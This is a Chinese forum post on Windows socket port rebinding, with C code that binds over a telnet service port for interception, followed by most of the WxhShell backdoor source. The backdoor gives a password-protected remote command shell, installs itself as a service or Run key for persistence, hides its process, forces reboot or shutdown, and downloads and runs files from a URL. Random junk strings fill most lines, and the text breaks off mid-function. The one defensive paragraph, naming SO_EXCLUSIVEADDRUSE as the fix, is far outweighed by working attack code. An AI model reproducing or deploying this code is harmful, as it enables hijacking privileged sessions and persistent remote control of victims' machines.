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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8f 4b&ah  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m@F`!qY~Y\  
Q&ptc>{bH6  
  saddr.sin_family = AF_INET; x8\?}UnB  
JCzeXNY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =sU<S,a*  
D~iz+{Q4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -1_)LO&H  
$q{!5-e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _QE qk@ql  
x7w4[QYw  
  这意味着什么?意味着可以进行如下的攻击: xY8$I6  
Jbg/0|1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J26 VnK  
A_ZY=jP   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  6f>{"'  
9Cp-qA%t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )5JFfp)#  
|?xN\O^#}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EIAc@$4  
M,,bf[p$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SrJGTuXg  
-%CP@dAk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tBWrL{xLe  
P[ck84F/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *?>T,gx}  
{.|CdqwY  
  #include I@~QV@U  
  #include v`x.)S1  
  #include Tc:)- z[o  
  #include    FFpT~.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }W8;=$jr  
  int main() e4_rC'=  
  { [;yOBF  
  WORD wVersionRequested; W:nef<WH  
  DWORD ret; 3m)0z{n  
  WSADATA wsaData; >J?fl8  
  BOOL val; l0 m-$/  
  SOCKADDR_IN saddr; 6]N;r5n  
  SOCKADDR_IN scaddr; I)[DTCJ~  
  int err; aCj&O:]=  
  SOCKET s; ~P,lz!he_  
  SOCKET sc; 0<@KG8@hI;  
  int caddsize; Yn Mvl  
  HANDLE mt; <w9JRpFY  
  DWORD tid;   XJ\DVZ  
  wVersionRequested = MAKEWORD( 2, 2 ); ncdKj}  
  err = WSAStartup( wVersionRequested, &wsaData ); (OL4Ex']  
  if ( err != 0 ) { NB#OCH1/9  
  printf("error!WSAStartup failed!\n"); iB yf{I>+  
  return -1; pRpBhm;iJ  
  } djG*YM\B  
  saddr.sin_family = AF_INET;  KC6.Fr{  
   rfg'G&A(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  `25yE/  
69NeQ$](  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {duz\k2  
  saddr.sin_port = htons(23); pa3{8x{9m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OLGE!&!>  
  { 7U"g3 a)=  
  printf("error!socket failed!\n"); itP,\k7>d  
  return -1; =BAr .m+"  
  } _8J.fT$${  
  val = TRUE; p38-l'{#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !;{7-~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HM1Fz\Sf  
  { q~o<*W   
  printf("error!setsockopt failed!\n"); :\c ^*K(9  
  return -1; ie95rZp  
  } iHf$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; & h)yro  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SHgN~ Um  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4l'fCZhA}  
+GN(Ug'R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]Q1yNtN  
  { _6hQ %hv8  
  ret=GetLastError(); F~W6Bp^W  
  printf("error!bind failed!\n"); ueWEc^_>  
  return -1; 3(N$nsi  
  } NwvC[4  
  listen(s,2); B dfwa  
  while(1) xm~`7~nFR  
  { _D&598xx  
  caddsize = sizeof(scaddr); |SSSH  
  //接受连接请求 /C:gKy4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s!zx} 5  
  if(sc!=INVALID_SOCKET) o5PO =AN  
  { rXP,\ ]r+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vn8aFA  
  if(mt==NULL) my1@41 H  
  { )dw'BNz5hT  
  printf("Thread Creat Failed!\n"); *:7rdzn  
  break; }R2u@%n{  
  } J]'zIOQ  
  } ^uc=f2=>,  
  CloseHandle(mt); {}n^cq  
  } iWkWR"ys y  
  closesocket(s); | YWD8 +  
  WSACleanup(); adcE'fA<_  
  return 0; [|$h*YK  
  }   {S)6;|ua'  
  DWORD WINAPI ClientThread(LPVOID lpParam) n( yn<  
  { Ll't>)  
  SOCKET ss = (SOCKET)lpParam; N>`Aw^ _@&  
  SOCKET sc; +Kc  
  unsigned char buf[4096]; &r /Mi%  
  SOCKADDR_IN saddr; nR~@#P\  
  long num; T?0eVvM  
  DWORD val; (5YM?QAd  
  DWORD ret; vA{-{Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F/{!tx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Nai2W<,  
  saddr.sin_family = AF_INET; Sz`,X0a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rs[T=CQ  
  saddr.sin_port = htons(23); ;[DU%f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zC!t;*8a  
  { $h"\N$iSq  
  printf("error!socket failed!\n"); 9cF[seE"0  
  return -1; ]%H`_8<gc  
  } >tr}|>  
  val = 100; cuI TY^6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q<|AZ2Ai  
  { tcI*a>  
  ret = GetLastError(); (?c"$|^J  
  return -1; iYoMO["X  
  } DyQy^G'%l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rM%1GPVob  
  { $6 f3F?y7  
  ret = GetLastError(); bI1N@=  
  return -1; {!L~@r  
  } /([kh~a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lqa4Vi  
  { #;yZ  
  printf("error!socket connect failed!\n"); =; Ff4aF  
  closesocket(sc); N4!O.POP  
  closesocket(ss); x 9fip-  
  return -1; P= NDS2  
  } -Q*gW2KmV  
  while(1) 5t]H?b8  
  { a1lh-2x X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q0vQ a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kDxFloK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u6JM]kR  
  num = recv(ss,buf,4096,0); *GPiOA a  
  if(num>0) Vc Z3 X4/  
  send(sc,buf,num,0); #X1ND  
  else if(num==0) |Rk@hzM2S  
  break; 0GeTS Fj  
  num = recv(sc,buf,4096,0); WOap+  
  if(num>0) TC*g|d @b  
  send(ss,buf,num,0); #*Ctwl,T  
  else if(num==0) 3s#N2X;Bc  
  break; y<Ot)fa$  
  } F]&*o w  
  closesocket(ss); 5 7c8xk[.2  
  closesocket(sc); q/,O\,  
  return 0 ; X \/#@T  
  } NBGH_6DROw  
kuP(r  
sXPe/fWo  
========================================================== )SGq[B6@I  
?Uo BV$  
下边附上一个代码,,WXhSHELL rx|pOz,:  
4kx N<]  
========================================================== 9yP;@y*d  
'H;*W|:-]  
#include "stdafx.h" iH@UTE;  
L!xi  
#include <stdio.h> ' `Hr}  
#include <string.h> i XjM.G  
#include <windows.h> ?Ir:g=RP*  
#include <winsock2.h> ;4\;mmLVk  
#include <winsvc.h> &6VnySE?  
#include <urlmon.h> P&Vv/D  
nu%*'.  
#pragma comment (lib, "Ws2_32.lib") wibNQ`4k  
#pragma comment (lib, "urlmon.lib") cvL;3jRo  
[ 4)F f  
#define MAX_USER   100 // 最大客户端连接数 =I_'.b  
#define BUF_SOCK   200 // sock buffer cr;da)  
#define KEY_BUFF   255 // 输入 buffer tCt#%7J;a  
eaU  
#define REBOOT     0   // 重启 p`qgrI`  
#define SHUTDOWN   1   // 关机 ?:0Jav  
M o|2}nf  
#define DEF_PORT   5000 // 监听端口 (E1~H0^  
$ I?"lky  
#define REG_LEN     16   // 注册表键长度 >A"(KSNL  
#define SVC_LEN     80   // NT服务名长度 pQB."[n  
%xLh Z\  
// 从dll定义API xAm6BB c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ny/MJ#Lq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $F.a><1rY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [$UI8tV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dM@1l1h/  
J{G?-+`  
// wxhshell配置信息 @H8EWTZ  
struct WSCFG { s eJ^s@H5l  
  int ws_port;         // 监听端口 {' H(g[k  
  char ws_passstr[REG_LEN]; // 口令 :ShT|n7  
  int ws_autoins;       // 安装标记, 1=yes 0=no jPkn[W# 6  
  char ws_regname[REG_LEN]; // 注册表键名 aN3;`~{9  
  char ws_svcname[REG_LEN]; // 服务名 e\/w'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J'r^/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GQ ;;bcj&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jebx40TA3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qH_Dc=~la  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A=0'Ks  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  Vxt+]5X  
BZ^}J!Q'*  
}; oXgcc*j  
)+Pus~w  
// default Wxhshell configuration BMf@M  
struct WSCFG wscfg={DEF_PORT, N'=gep0V@  
    "xuhuanlingzhe", fc>L K7M  
    1, M',?u  
    "Wxhshell",  %;!.n{X  
    "Wxhshell", 8 Fbo3  
            "WxhShell Service", V=3b&TkE  
    "Wrsky Windows CmdShell Service", Flb&B1  
    "Please Input Your Password: ", ],].zlN  
  1, \'j|BJ~L f  
  "http://www.wrsky.com/wxhshell.exe", % & bY]w  
  "Wxhshell.exe" ,hmL/K0"(5  
    }; *X}`PF   
sDV Q#}a  
// 消息定义模块 OZ;*JR:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =2x^nW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w4Z'K&d=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7K:PdF>/  
char *msg_ws_ext="\n\rExit."; poFg 1  
char *msg_ws_end="\n\rQuit."; i@J ;G`  
char *msg_ws_boot="\n\rReboot...";  9gZ$   
char *msg_ws_poff="\n\rShutdown..."; P!k{u^$L  
char *msg_ws_down="\n\rSave to "; 5@W j>:w  
kG*~ |ma  
char *msg_ws_err="\n\rErr!"; fF kj+  
char *msg_ws_ok="\n\rOK!"; BDVtSs<7  
8dhUBJ0_  
char ExeFile[MAX_PATH]; v &+R^iLE  
int nUser = 0; <a+Z;>  
HANDLE handles[MAX_USER]; QmIBaMI#  
int OsIsNt; 0m ? )ROaJ  
~Cjn7  
SERVICE_STATUS       serviceStatus; a[TMDU;(/4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T[j,UkgGo  
m l$o5&sN  
// 函数声明 k VQ\1!  
int Install(void); rrv%~giU  
int Uninstall(void); vfo~27T{(  
int DownloadFile(char *sURL, SOCKET wsh); rVsJ`+L  
int Boot(int flag); Af{"pzY  
void HideProc(void); KK &?gTa  
int GetOsVer(void); A5w6]:f2  
int Wxhshell(SOCKET wsl); gZ1?G-Q  
void TalkWithClient(void *cs); bN@ l?w  
int CmdShell(SOCKET sock); cN9t{.m  
int StartFromService(void); u<&m]] *  
int StartWxhshell(LPSTR lpCmdLine); H>@+om  
.%QXzIa3F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CJI~_3+K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W@!S%Y9  
;9g2?-svw  
// 数据结构和表定义 OZ!^ak  
SERVICE_TABLE_ENTRY DispatchTable[] = 4E?Oky#}-  
{ 6LZ;T.0o  
{wscfg.ws_svcname, NTServiceMain}, S21,VpW\  
{NULL, NULL} t0 ?\l)  
}; POR\e|hRT]  
VLN_w$iEq  
// 自我安装 e?f IXk~b  
int Install(void) #R RRu2  
{ >lM l  
  char svExeFile[MAX_PATH]; N17RLz *\  
  HKEY key; 5*D/%]YsD  
  strcpy(svExeFile,ExeFile); 2GStN74Xr  
~y[7K{{ ;T  
// 如果是win9x系统,修改注册表设为自启动 =mmWl9'mJ  
if(!OsIsNt) { b<u3 hln%,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HUOj0T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xn|(9#1o  
  RegCloseKey(key); #cLBQJq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N)>ID(}F1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5NLDYi@3  
  RegCloseKey(key); yR.Ong  
  return 0; 76` .Y  
    } L4?IHNB  
  } ei5~&  
} n?K  
else { z&^&K}  
k-""_WJ~^  
// 如果是NT以上系统,安装为系统服务 c6/=Gq{.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sUm'  
if (schSCManager!=0) W+1^4::+  
{ uUw5l})%Fi  
  SC_HANDLE schService = CreateService & "B=/-(  
  ( Jpo (Wl  
  schSCManager, D7qOZlX16  
  wscfg.ws_svcname, .XhrCi Z  
  wscfg.ws_svcdisp, 4I5Y,g{6+  
  SERVICE_ALL_ACCESS, Ld-_,-n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @AuO`I@p=  
  SERVICE_AUTO_START, ?b5 ^  
  SERVICE_ERROR_NORMAL, j$5LN.8J  
  svExeFile, eKqk= (  
  NULL, qb` \)X]9  
  NULL, f'3$9x  
  NULL, VgS_s k  
  NULL, rk)`\=No  
  NULL dcWD(-  
  ); y$R_.KbO  
  if (schService!=0) ##4HYQ%E  
  { Mh 7DV  
  CloseServiceHandle(schService); {T~#?v(  
  CloseServiceHandle(schSCManager); -RK- Fu<e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -`TEVS?`l  
  strcat(svExeFile,wscfg.ws_svcname); m<2M4u   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pd]|:W< E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LB?u8>a' I  
  RegCloseKey(key); %GIr&V4|  
  return 0; ib791  
    } _2 osV[e  
  } N=g"(%  
  CloseServiceHandle(schSCManager); yJe>JK~)  
} ZWp(GC1NA  
}  qA5r  
t.\dpBq  
return 1; T37XBg H  
} %BB%pC  
TrR8?-  
// 自我卸载 |)/aGZ+  
int Uninstall(void) 2gVm9gAHUd  
{ 2SR:FUV/  
  HKEY key; d4z/5Oa  
d9|<@A  
if(!OsIsNt) { 3|Xyl`i4o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tcog'nAz  
  RegDeleteValue(key,wscfg.ws_regname); }?v )N).kW  
  RegCloseKey(key); Z>#i**  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Q:+_v  
  RegDeleteValue(key,wscfg.ws_regname); k~FRD?[u  
  RegCloseKey(key); _``=cc  
  return 0; ^@NU}S):yN  
  } pIKPXqA  
} ,U dVNA  
} 4x[S\,20  
else { 07=mj%yV  
t}/( b/VD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jsi!fx2Rm  
if (schSCManager!=0) R]*K:~DM  
{ SGlNKA},A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KL Xq\{X  
  if (schService!=0) [0D .K}7|  
  { ijx0gh`~  
  if(DeleteService(schService)!=0) { |*tp16+6  
  CloseServiceHandle(schService); k~ /Nv=D  
  CloseServiceHandle(schSCManager); ( Px OE  
  return 0; FH+s s!  
  } \v)+.m?n  
  CloseServiceHandle(schService); gCY';\f!  
  } v0jgki4 t  
  CloseServiceHandle(schSCManager); [QT#Yf0  
} TBU&6M>{3  
} I`4*+a'q&  
L4y4RG/SJ:  
return 1; y9}>:pj4  
} k7usMVAA  
a-L;*  
// 从指定url下载文件 *,WU?tl&  
int DownloadFile(char *sURL, SOCKET wsh) fIv*T[  
{ -4_$ln w$  
  HRESULT hr; L8#5*8W6  
char seps[]= "/"; !f&g-V  
char *token; @/-\k*T  
char *file; G {%LB}2  
char myURL[MAX_PATH]; b(O3@Q6[  
char myFILE[MAX_PATH]; y:qUn!3  
7o5BXF  
strcpy(myURL,sURL); V[vl!XM  
  token=strtok(myURL,seps); s#=7IH30  
  while(token!=NULL) m5Di=8  
  { N7R!C)!IL  
    file=token; '}bgLv  
  token=strtok(NULL,seps); ;cN{a&  
  } >[=^_8M  
9j:"J` '  
GetCurrentDirectory(MAX_PATH,myFILE); C#Iybg  
strcat(myFILE, "\\"); )gy!GK  
strcat(myFILE, file); QbpFE)TYJ|  
  send(wsh,myFILE,strlen(myFILE),0); D]Xsvv #  
send(wsh,"...",3,0); ) M BQuiL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]1pIj i[  
  if(hr==S_OK) 54li^   
return 0; 2Dj%,gaR  
else j Dv{/ )  
return 1; G?/DrnK:  
=D#bb <o  
} :$BCRQ  
um>6z_"  
// 系统电源模块 ^\&e:Nkh  
int Boot(int flag) !9P';p}2  
{ z]D69O b  
  HANDLE hToken; FZE"7ec>m  
  TOKEN_PRIVILEGES tkp; Bad:n o\W  
O~K>4 ax  
  if(OsIsNt) { gi _5?$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ` 3K)GA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EV@X*| w  
    tkp.PrivilegeCount = 1; g0ly  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i3'9>"`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T\ >a!  
if(flag==REBOOT) { .O}%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l u%}h7ng  
  return 0; 9kS^Abtk  
} &t:Gx<]  
else { FNY8tv*/x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b9<#K+L-  
  return 0; t$#jL5  
} vJOw]cwq  
  } ' x35=@  
  else { !s?nJ(p  
if(flag==REBOOT) { I( 7NQ8H x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VYImI>.t{  
  return 0; Ob`d  
} !AfHk|  
else { @;?p&.W`D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q0r>2c-d  
  return 0; |kV*Jc k  
} q6`b26  
} mah JSz(3  
c?&X?<  
return 1; $#pP Z  
} KRMQtgahc  
OCaq3_#tZ  
// win9x进程隐藏模块 TOXfWEU3>  
void HideProc(void) e)#J1(j_  
{ c*L\_Vx+  
iq( E'`d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,a]?S^:y]  
  if ( hKernel != NULL ) NDlF0f  
  { q ]e`9/U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O% KsD[W;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (~wqa 3  
    FreeLibrary(hKernel); x&Kh>PVh\  
  } p &"`RS #Z  
W~9tKT4  
return; k" PayyAC  
} 5T2CISmu  
``\i58K{e  
// 获取操作系统版本 *>2W#D)b=  
int GetOsVer(void) dS!:JO27  
{ OJ5#4qJ[  
  OSVERSIONINFO winfo; <;m<8RjX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4UvZ)^r  
  GetVersionEx(&winfo); Mh/dpb\Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,*hLFaR-  
  return 1; pRIhFf  
  else J1sv[$9  
  return 0; hp7|m0.JW  
} ?6un4EVL{  
UK O[r;  
// 客户端句柄模块 ^!ZC?h!rG  
int Wxhshell(SOCKET wsl) YS@ypzc/  
{ J1I ;Jgql(  
  SOCKET wsh; Be=u&T:~  
  struct sockaddr_in client; X"e5 Y!:M-  
  DWORD myID; dP<=BcH>f  
 s ;oQS5Y  
  while(nUser<MAX_USER) 1o;J,dYu  
{ xLWw YK  
  int nSize=sizeof(client); $oU*9}}Rn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =JbRu|/  
  if(wsh==INVALID_SOCKET) return 1; dq&yf7  
vAh6+K.e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,3p~w5C/+[  
if(handles[nUser]==0) BJsz2t :0  
  closesocket(wsh); W;L7SF g)  
else rrqR}}l  
  nUser++; +)<wDDC_  
  } ,t9^j3Ixg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n%C>E.Tq  
NS%xTLow-  
  return 0; IE&!YP(U(  
} Vp*KfS]  
v99B7VH4  
// 关闭 socket uRRQyZ  
void CloseIt(SOCKET wsh) `V]5sE]G  
{ bE#,=OI$  
closesocket(wsh); zHL@i0>^  
nUser--; ICs\ z  
ExitThread(0); %g$V\zmU  
} /VS [pXXT|  
m~P CB_ifW  
// 客户端请求句柄 (-xS?8x$  
void TalkWithClient(void *cs) NI#:|}CYS  
{ ,5kKimTt  
7;sj%U^'l  
  SOCKET wsh=(SOCKET)cs; bRJMYs  
  char pwd[SVC_LEN]; 1+qw$T  
  char cmd[KEY_BUFF]; / !Wu D\B  
char chr[1]; }Q?c"H!/  
int i,j; f3&[#%  
iZNts%Y]  
  while (nUser < MAX_USER) { ;WM"cJo9  
$Ifmc`r1  
if(wscfg.ws_passstr) { -UdEeZz.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `U)hjQ~pP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "B4;,+4kR  
  //ZeroMemory(pwd,KEY_BUFF); 2`>ToWN!  
      i=0; R)z4n  
  while(i<SVC_LEN) { 7X q,z  
#Jn_c0  
  // 设置超时 ?R Oqn6k&c  
  fd_set FdRead; RwPN gRF  
  struct timeval TimeOut; ^3{TZ=_;|  
  FD_ZERO(&FdRead); N#7QzB9]  
  FD_SET(wsh,&FdRead); #PanfYR  
  TimeOut.tv_sec=8; lBhLf@  
  TimeOut.tv_usec=0; X1Ac*oLN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oCi=4#g%7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7_Z#m (  
F\AX :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &nkW1Ner9  
  pwd=chr[0]; OCJnjlV%  
  if(chr[0]==0xd || chr[0]==0xa) { O<"}|nbmQ[  
  pwd=0; 7,|c  
  break; O QT;zqup  
  } 8p9bCE>\  
  i++; #u"k~La  
    } j>x-"9N  
T[uiPs /xD  
  // 如果是非法用户,关闭 socket !z<%GQ CT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9C[ywp  
} 4EZ9hA9+  
n9A7K$ZD@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bQP{|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ->O2I?  
W#BM(I  
while(1) { x~{;TZa[I  
J6%AH?Mt  
  ZeroMemory(cmd,KEY_BUFF); O .Iu6D  
PSVc+s[Q+V  
      // 自动支持客户端 telnet标准   `v}%33$hA  
  j=0; 8J~1-;  
  while(j<KEY_BUFF) { !Mim@!5M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &f^l ^K 5:  
  cmd[j]=chr[0]; Jn3 An  
  if(chr[0]==0xa || chr[0]==0xd) { *l;B\=KR  
  cmd[j]=0; $Y_i4(  
  break; 1jPJw3"3h  
  } &S]@Ot<z  
  j++; F;[T#N:~  
    } bH2MdU  
8 <7GdCME  
  // 下载文件 YoLx>8  
  if(strstr(cmd,"http://")) { D3^7y.u<)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'XofD}dm  
  if(DownloadFile(cmd,wsh)) I_%a{$Gjl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4 XJn@J  
  else EG0auzW?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \eb|eN0i  
  } &q~:~   
  else { ] GTAq  
$:j G-r  
    switch(cmd[0]) { EV^~eTz  
  -gas?^`  
  // 帮助 .E&z$N  
  case '?': { }X_;X_\3;'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !x>%+&c>k  
    break; W4U@%b do  
  } UybW26C;aU  
  // 安装 pY~,(s|Qb  
  case 'i': { T<@cd|`  
    if(Install()) Fxqp-}:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?ctLbg  
    else E55t*^`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\#_Jw%y  
    break; a/U2xq{x  
    } PN<C=gAe  
  // 卸载 bb`':3%  
  case 'r': { P<2 +L|X?}  
    if(Uninstall()) |vMpXiMxxT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); saAxGG  
    else  4)4+M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -0eq_+oQ  
    break; uy^   
    } V&|Ed  
  // 显示 wxhshell 所在路径 7Wa?$6d  
  case 'p': { [NIlbjYH  
    char svExeFile[MAX_PATH]; ELjK0pE}-  
    strcpy(svExeFile,"\n\r"); #D9e$E(J^  
      strcat(svExeFile,ExeFile); 2gjGeM  
        send(wsh,svExeFile,strlen(svExeFile),0); RQB]/D\BO  
    break; Gqcz< =/  
    } L9ap(  
  // 重启 zT|)uP*  
  case 'b': { 9cx =@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o/ mF #  
    if(Boot(REBOOT)) :BukUket1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); he-Ji  
    else { + "}=d3E6  
    closesocket(wsh); eo!zW  
    ExitThread(0); jWO/ xX  
    } GK}'R=   
    break; !W'Ui 9uX  
    } ~!d/8?!   
  // 关机 {(#%N5%  
  case 'd': { Hb(B?!M)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 16EVl~LN  
    if(Boot(SHUTDOWN))  6vTo*8D  
